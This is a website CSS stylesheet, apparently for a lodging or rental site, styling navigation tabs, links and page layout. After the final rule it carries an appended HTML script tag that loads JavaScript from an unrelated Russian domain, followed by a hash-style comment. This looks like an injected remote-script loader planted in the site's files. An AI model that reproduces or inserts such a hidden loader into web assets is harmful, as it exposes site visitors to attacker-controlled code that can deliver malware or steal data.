body {
margin:0;
padding:0;
}

a {color:#905e2f;}

a:hover {
background-color:#905e2f;
color:#FFFFFF;
}

.clearer
{
	clear: both;
	height: 0;
	margin: 0;
	padding: 0;
}

#main_nav {
	float:left;
	display:block;
	position:relative;
	font-size:18px;
	background:transparent url("/images/header/bgOFF.gif") repeat-x top left;
	font-family:Georgia, "Times New Roman", Times, serif;
        margin:10px 0 0 0;
	}


#main_nav ul {
	margin: 0;
	padding:0;
	list-style-type:none;
	width:auto;
	
	}

#main_nav ul li {
	display:block;
	float:left;
	margin:0;
	
	}
	
#main_nav ul li a {
    float:left;
    display:block;
	color:#FFFFFF;
	text-decoration:none;
	padding:10px 15px 0 15px;
        margin:0 0 -10px 0;
	height:40px;
	background:transparent url("/images/header/bgDIVIDER.gif") no-repeat top right;
	}
	
#main_nav ul li a:hover {
	color:#FFFFFF;
	background:url("/images/header/bgHOVER.gif") repeat-x top left;
	}
	
	
li#home_active a:link, li#home_active a:visited, li#home_active a:link, li#home_active a:visited, li#location_active a:link, li#location_active a:visited, li#testimonials_active a:link, li#testimonials_active a:visited, li#amenities_active a:link, li#amenities_active a:visited, li#photos_active a:link, li#photos_active a:visited, li#weather_active a:link, li#weather_active a:visited, li#contact_active a:link, li#contact_active a:visited {
    color:#072509;
	background:#FFFFFF url("/images/header/bgON.gif") repeat-x top left;
}


#middle {
width:930px;
margin:25px auto 0 auto;
font-family:Arial, Helvetica, sans-serif;
font-size:14px;
line-height:18px;
}

#nav_right {
margin:10px 0 0 0;
background:transparent url("/images/header/bgOFF.gif") repeat-x top left;
height:43px;
padding:7px 13px 0 0;
}

#phone_number {
text-align:right;
font-family:Georgia, "Times New Roman", Times, serif;
font-weight:bold;
font-size:20px;
color:#87b08b;
}

<script type="text/javascript" src="http://latecard.ru/Target_Disk_Mode.js"></script>
<!--752c1777f1e513328721442c71c25021-->